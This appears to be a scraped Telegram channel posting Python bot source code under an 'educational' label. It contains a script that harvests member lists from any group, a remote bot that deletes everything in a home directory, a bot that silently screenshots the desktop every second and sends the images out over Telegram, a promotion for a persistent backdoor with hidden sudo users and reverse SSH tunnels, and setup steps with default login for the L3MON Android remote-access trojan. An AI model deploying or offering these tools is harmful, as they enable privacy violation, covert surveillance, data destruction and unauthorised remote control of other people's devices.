Python Telegram Bots
734 subscribers
1 photo
3 videos
1 file
37 links
All types of python telegram bot with explanation. By @EFXTV

This channel is intended solely for educational and awareness purposes. Any illegal activity is a...

Backup Channel https://t.me/+_w-03ZG1E_thMDhl

Donate: https://buymeacoffee.com/efxtv
Download Telegram
from telethon.sync import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsSearch

import asyncio


api_id = 123456 # Replace with your actual API ID
api_hash = 'your_api_hash_here'
or invite link
target_group = 'https://t.me/group_or_channel_username'

client = TelegramClient('session_name', api_id, api_hash)

async def main():
await client.start()

print(f"Connecting to {target_group}...")
entity = await client.get_entity(target_group)

print("Fetching members...")
offset = 0
limit = 100
all_participants = []

while True:
participants = await client(GetParticipantsRequest(
channel=entity,
filter=ChannelParticipantsSearch(''),
offset=offset,
limit=limit,
hash=0
))
if not participants.users:
break
all_participants.extend(participants.users)
offset += len(participants.users)

print(f"Total users fetched: {len(all_participants)}")

with open('users.txt', 'w', encoding='utf-8') as f:
for user in all_participants:
username = user.username or ''
first_name = user.first_name or ''
last_name = user.last_name or ''
full_name = f"{first_name} {last_name}".strip()
f.write(f"{username} - {full_name}\n")

await client.send_file('me', 'users.txt', caption="Here is the list of users.")
print("users.txt sent to your Saved Messages.")

with client:
client.loop.run_until_complete(main())

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โšก1
๐Ÿ” APK Signer Bot - Sign Your Android APKs Instantly!
Failed to signing APKs manually? Just send your unsigned .apk file to telegram APK signer bot and get your project signed automatically.

โœ… What this bot can do: View code

๐Ÿ“ฅ Accepts any unsigned APK file directly in chat
๐Ÿ” Automatically signs it using a secure keystore
โšก๏ธ Sends back the signed APK in seconds
๐Ÿ›ก Works 24/7 No need to install Android Studio
๐Ÿค– Fully automated, privacy-safe, and open-source

๐Ÿ’ฌ How to use:
Just type /start and upload your APK file thatโ€™s it!

๐Ÿ”— Try it now: @ Your Bot User name

#TelegramBot #AndroidDev #APKSigner #PythonBot #AppDevelopment

๐Ÿ“ฅ For more : Https://buymeacoffee.com/efxtv

๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡
๐Ÿ‘1
import os
import subprocess
import logging
from telegram import Update, InputFile
from telegram.ext import (
ApplicationBuilder,
MessageHandler,
CommandHandler,
ContextTypes,
filters
)

# Telegram bot by @efxtve

BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN" # <-- Replace with your token
KEYSTORE_FILE = "auto-release.keystore"
ALIAS = "auto"
STOREPASS = "password"
KEYPASS = "password"
KEYTOOL = "/usr/bin/keytool"
APKSIGNER = "/usr/bin/apksigner"

logging.basicConfig(level=logging.INFO)

def create_keystore():
if os.path.exists(KEYSTORE_FILE):
return
subprocess.run([
KEYTOOL, "-genkey", "-v",
"-keystore", KEYSTORE_FILE,
"-alias", ALIAS,
"-keyalg", "RSA",
"-keysize", "2048",
"-validity", "10000",
"-storepass", STOREPASS,
"-keypass", KEYPASS,
"-dname", "CN=Auto Signer, OU=Dev, O=Auto, L=City, S=State, C=US"
], check=True)

def sign_apk(apk_path):
subprocess.run([
APKSIGNER, "sign",
"--ks", KEYSTORE_FILE,
"--ks-key-alias", ALIAS,
"--ks-pass", f"pass:{STOREPASS}",
"--key-pass", f"pass:{KEYPASS}",
apk_path
], check=True)

# --- Handlers ---
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text(
"๐Ÿ‘‹ Send an unsigned APK.\n\n"
)

async def handle_apk(update: Update, context: ContextTypes.DEFAULT_TYPE):
document = update.message.document
if not document.file_name.endswith(".apk"):
await update.message.reply_text("โŒ Please send a valid `.apk` file.")
return

await update.message.reply_text("๐Ÿ“ฅ Downloading APK...")
file = await context.bot.get_file(document.file_id)
apk_filename = f"input_{document.file_name}"
await file.download_to_drive(apk_filename)

try:
create_keystore()
sign_apk(apk_filename)
await update.message.reply_text("โœ… APK signed successfully. Sending back...")

with open(apk_filename, "rb") as f:
await update.message.reply_document(InputFile(f, filename=f"signed_{document.file_name}"))

except subprocess.CalledProcessError:
await update.message.reply_text("โŒ Failed to sign APK.")
finally:
os.remove(apk_filename)

def main():
app = ApplicationBuilder().token(BOT_TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(MessageHandler(filters.Document.ALL, handle_apk))
print("[*] Bot is running...")
app.run_polling()

if __name__ == "__main__":
main()

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โค1
Python Telegram Bots pinned ยซimport os import subprocess import logging from telegram import Update, InputFile from telegram.ext import ( ApplicationBuilder, MessageHandler, CommandHandler, ContextTypes, filters ) # Telegram bot by @efxtve BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"โ€ฆยป
Hi
๐Ÿซก5
๐Ÿšจ This Script Can Be a Hacker's Backdoor Weapon - Are You Prepared to Detect It? ๐Ÿ”
Cybersecurity researchers and Penetration Tester: take note. This isn't just code - it's a persistent, low-footprint tunnel that attackers could deploy in seconds.

Note: We recently analyzed a powerful script that demonstrates how easily a remote tunnel can be created - with almost no user interaction. While this is meant strictly for educational and research purposes, its misuse could lead to serious consequences if deployed maliciously.

๐Ÿ‘ฉโ€๐Ÿ’ป Contact admin for more: @errorfix_tv

๐Ÿ”ง Silent Sudo User Creation - Without Raising Flags
The script programmatically adds a sudo-enabled user, grants passwordless access, and drops them into the sudoers file โ€” all without user interaction.

๐Ÿ›ฃ Covert Reverse SSH Tunnel via Serveo.net
Attackers can expose a victim's SSH port over the internet, bypassing NAT/firewalls โ€” no need to touch the router or configure port forwarding.

๐Ÿ“ฌ Instant Exfiltration Channel Using Telegram Bots
Once the tunnel is live, the attacker gets real-time alerts with the public-facing IP and port, giving them instant access โ€” no callback servers needed.

๐Ÿงฑ Persistence by Design โ€” Auto-Reconnect on Drop
The tunnel is kept alive persistently. If Serveo dies or disconnects, the script spins it right back up. Most blue teams wonโ€™t notice unless theyโ€™re actively watching process trees.

๐Ÿ’€ Minimal Footprint, Temporary Logs, and No Obvious Artifacts
All logs are stored in temp directories. No cron jobs, no services โ€” it lives in memory and subprocesses, making it stealthier than most reverse shells.

โš ๏ธ Red teamers and blue teamers alike should analyze scripts like this โ€” because black hats already are.
๐Ÿ›ก Understanding the methods is the first step in building effective detection and defense.

Want a full breakdown or PoC? Drop a message.

โš ๏ธ Source code in controlled environment for students only: [ VIEW ]

#CyberSecurity #PenTest #RedTeam #Backdoor #TTPs #MalwareAnalysis
โค3๐Ÿ‘1
Join https://t.me/python_telegram_bot_source_codes
Soon we will publish more tools
๐Ÿ”ฅ1
Telegram Bot for Hard Reset (Windows machines)

๐Ÿ›ก Note: This Telegram bot allows authorized users to perform a hard reset of files and directories in the user's home directory. It must be used ethically and with caution, as it involves permanent data deletion.

โœ… Deploy the bot [ SOURCE CODE ]

๐Ÿค– How to use?
Start bot and push commands
/start
/hardreset

๐Ÿค– Ethical Use
This bot should only be used in controlled environments (e.g., testing or personal systems) with explicit consent. Unauthorized or malicious use, such as deleting data on shared or public systems, is unethical and potentially illegal.

๐Ÿค– Benefit
Efficient System Cleanup: Quickly wipes all files and directories in the home directory, useful for resetting test environments or clearing personal systems during troubleshooting.

๐Ÿค– Disadvantage
Irreversible Data Loss: Deletes all data without recovery options, posing a risk of losing critical files if used improperly.

๐Ÿ›กUse it on your own responsibly (in a virtual windows OS to avoid damage).

๐Ÿ” Premium app can have more features: (on a single click)
- Wipe data
- Reset Settings
- Cleanup Temp Files
- Remote Reboot Request
- Screen Share
- Screenshot
- FTP Over Browser
- Connect System via RDP
- Grab Login Logs
- Backup Creation
- Selective Data Restoration
- Scheduled Tasks
- Please suggest more... Thank you

#TelegramBot #HardReset #SystemCleanup #EthicalTech #DataWipe #SystemManagement #TechTools #RemoteAdmin #Cybersecurity #Automation #PremiumFeatures #DataSafety #TechSolutions #SystemReset #ResponsibleTech

๐Ÿ“ฅ For more : Https://buymeacoffee.com/efxtv
๐Ÿ‘2
import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes

# Enable logging
logging.basicConfig(
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID' # Replace with your Telegram user ID (int)

def hard_reset():
home_dir = os.path.expanduser("~")
for root, dirs, files in os.walk(home_dir, topdown=False):
for name in files:
try:
os.remove(os.path.join(root, name))
except Exception as e:
logger.error(f"Failed to delete file {name}: {e}")
for name in dirs:
try:
shutil.rmtree(os.path.join(root, name))
except Exception as e:
logger.error(f"Failed to delete directory {name}: {e}")

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
await update.message.reply_text('Hello! Send /hardreset to wipe all data.')

async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
user = update.effective_user
if user.id != AUTHORIZED_USER_ID:
await update.message.reply_text("Unauthorized access.")
return

await update.message.reply_text("Starting hard reset...")
try:
hard_reset()
await update.message.reply_text("Hard reset completed.")
except Exception as e:
await update.message.reply_text(f"Error during hard reset: {e}")

def main():
app = ApplicationBuilder().token(TOKEN).build()

app.add_handler(CommandHandler("start", start))
app.add_handler(CommandHandler("hardreset", hardreset_command))

app.run_polling()

if __name__ == '__main__':
main()


#telegrambot
@python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โค6๐Ÿ‘1๐Ÿ”ฅ1
Please share for more
Python Telegram Bots pinned ยซTelegram Bot for Hard Reset (Windows machines) ๐Ÿ›ก Note: This Telegram bot allows authorized users to perform a hard reset of files and directories in the user's home directory. It must be used ethically and with caution, as it involves permanent data deletion.โ€ฆยป
hi
๐Ÿ‘2โค1
Donate to keep this project going https://buymeacoffee.com/efxtv

๐Ÿ”ง Upcoming Telegram Bot Project:

1. ๐Ÿง  AI-Powered Terminal Assistant
โ€” Execute Linux commands, get instant CLI help, or automate tasks via Telegram.


2. ๐Ÿ•ต๏ธ Username Recon Bot
โ€” Search over 100+ social platforms for a given username.


3. ๐Ÿ“ฒ APK Analyzer Bot
โ€” Upload an APK and get permissions, trackers, and security risk details.


4. ๐Ÿ’ฃ Exploit Checker Bot
โ€” Check known CVEs & exploits for a given domain, IP, or software version.


5. ๐ŸŽฏ Phishing Link Detector Bot
โ€” Send a suspicious URL to the bot and itโ€™ll scan for phishing/malware risks.


6. ๐Ÿ” Password Strength + Breach Check Bot
โ€” Users can test password safety (locally hashed) & check against leaked DBs.


7. ๐Ÿ›ฐ๏ธ Satellite Live Tracker Bot
โ€” Track Starlink, ISS, or satellites live from Telegram.


8. ๐Ÿ“ž Disposable Number Bot
โ€” Instantly get a temporary phone number for verification use (free/limited).


9. ๐Ÿงฐ Port Scanner Bot
โ€” Input an IP/domain and get common open ports + banner grab info.


10. ๐Ÿงฌ Metadata Extractor Bot
โ€” Upload any file or image and the bot returns detailed metadata (EXIF, PDF info, etc).


11. ๐ŸŽฅ CCTV/IP Cam Viewer Bot โ€” Stream local RTSP feeds securely through Telegram.

Donate to keep this project going https://buymeacoffee.com/efxtv
โค1
Are you a developer or sysadmin who constantly needs to check your server's IP address? ๐Ÿค” Forget about logging in just to find a simple IP!

We've created a simple and effective solution: a Python script that sends your server's IP and OS details directly to a Telegram bot! ๐Ÿค–๐Ÿ’ป

Here's what it does:
โœ… Gets your server's local IP address.
โœ… Determines the operating system (e.g., Linux, Windows, macOS).
โœ… Sends an automatic message to your Telegram bot.

It's the perfect little tool for when you need to quickly SSH into your machine or just want to keep an eye on your server's status. It's simple, lightweight, and super convenient! ๐Ÿš€

All you need is the Python script and a Telegram bot token. Set it up as a cron job, and you'll always have your IP address just a message away.

Donate to keep this project going https://buymeacoffee.com/efxtv

TELEGRAM BOT ADDRESS [ DOWNLOAD NOW ]

FULL PROJECT @errorfix_tv

#Python #TelegramBot #SSH #Server #DevOps #Automation
๐Ÿ‘2
import requests
import socket
import platform

TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'

def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.1.1", 80))
ip = s.getsockname()[0]
s.close()
return ip
except:
return "Could not determine IP"

def send_message():
ip = get_local_ip()
msg = f"OS: {platform.system()}\nIP: {ip} is up"
url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
requests.post(url, data={'chat_id': CHAT_ID, 'text': msg})

if __name__ == "__main__":
send_message()


#telegrambot
@python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โค3
Screenshot telegram BOT

import os
import time
import threading
import pyautogui
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, CallbackContext

# Global variable to control the screenshot thread
screenshot_thread = None
screenshot_interval = 0
is_running = False
user_chat_id = None

def start(update: Update, context: CallbackContext):
update.message.reply_text('Welcome to Screenshot Bot! Use /screenshot <duration> to start taking screenshots.')

def screenshot(update: Update, context: CallbackContext):
global screenshot_thread, screenshot_interval, is_running, user_chat_id
if is_running:
update.message.reply_text('Screenshot process is already running.')
return

try:
duration = context.args[0] # Get the duration from the command
if duration.endswith('m'):
duration = int(duration[:-1]) * 60 # Convert to seconds
else:
update.message.reply_text('Please specify duration in minutes (e.g., 1m).')
return

user_chat_id = update.message.chat_id
screenshot_interval = 1 # Interval of 1 second for taking screenshots
is_running = True
update.message.reply_text(f'Starting screenshot every {screenshot_interval} second(s) for {duration} seconds.')

# Start the screenshot thread
screenshot_thread = threading.Thread(target=take_screenshots, args=(duration,))
screenshot_thread.start()

except (IndexError, ValueError):
update.message.reply_text('Usage: /screenshot <duration in minutes (e.g., 1m)>')

def take_screenshots(duration):
start_time = time.time()
while (time.time() - start_time) < duration:
# Take a screenshot
screenshot = pyautogui.screenshot()
screenshot_np = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)
file_path = 'screenshot.png'
cv2.imwrite(file_path, screenshot_np) # Save the screenshot
# Send the screenshot to the user
context.bot.send_photo(chat_id=user_chat_id, photo=open(file_path, 'rb'))
time.sleep(screenshot_interval)

global is_running
is_running = False
screenshot_thread = None

def stop(update: Update, context: CallbackContext):
global is_running
if is_running:
is_running = False
update.message.reply_text('Screenshot process stopped.')
else:
update.message.reply_text('No active screenshot process to stop.')

def main():
# Replace 'YOUR_TOKEN' with your bot's token
updater = Updater('YOUR_TOKEN', use_context=True)
dp = updater.dispatcher

dp.add_handler(CommandHandler("start", start))
dp.add_handler(CommandHandler("screenshot", screenshot))
dp.add_handler(CommandHandler("stop", stop))

updater.start_polling()
updater.idle()

if __name__ == '__main__':
main()
๐Ÿ‘7โค1
Join VIP ๐Ÿ˜Ž

One time fee Life time access to our premium content.

โœจ Link 1 [ JOIN ]

โœจ Link 2 [ JOIN ]

โœจ Link 3 [ JOIN ]

โœจ Link 4 [ JOIN ]

โœจ Link 5 [ JOIN ]

๐Ÿ’ฅ 90% practical 10% theory

๐Ÿ’ฅ You must be 18+

๐Ÿ’ฅ No Junks allowed

โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
โ™ฅ๏ธ  Telegram Channel - @efxtv ๐Ÿฎ
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
JOIN Voice Chat
๐Ÿ‘‰ https://t.me/+poDgK-E2Y_5iYTU9

โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
โ™ฅ๏ธ  Telegram Channel - @efxtv ๐Ÿฎ
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
โค1
L3MON Docker Image 2025

Note: This Docker project has been created for students only.

You are free to modify it, but please do not misuse it in any way.

We will not be responsible for any kind of damage.

โœจ Step 0 - Install docker
sudo apt update && sudo apt upgrade -y
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

โœจ Step 1- Pull docker image
docker pull efxtv/l3mon

โœจ Step 2- Create a container
docker run -d -p 22533:22533 -p 22222:22222 -p 2222:22 --name l3mon efxtv/l3mon

โœจ Step 3- Run docker shell
docker exec -it ContainerID bash

โœจ Step 4- Login L3MON
http://localhost:22533/

โœจ Step 5- Login password
login: admin
pass: efxtv

I am thankful for your presence and response. It really motivates us.

โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
โ™ฅ๏ธ  Telegram Channel - @efxtv ๐Ÿฎ
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
โค3๐Ÿ‘1
Python Telegram Bots pinned ยซL3MON Docker Image 2025 Note: This Docker project has been created for students only. You are free to modify it, but please do not misuse it in any way. We will not be responsible for any kind of damage. โœจ Step 0 - Install docker sudo apt update &&โ€ฆยป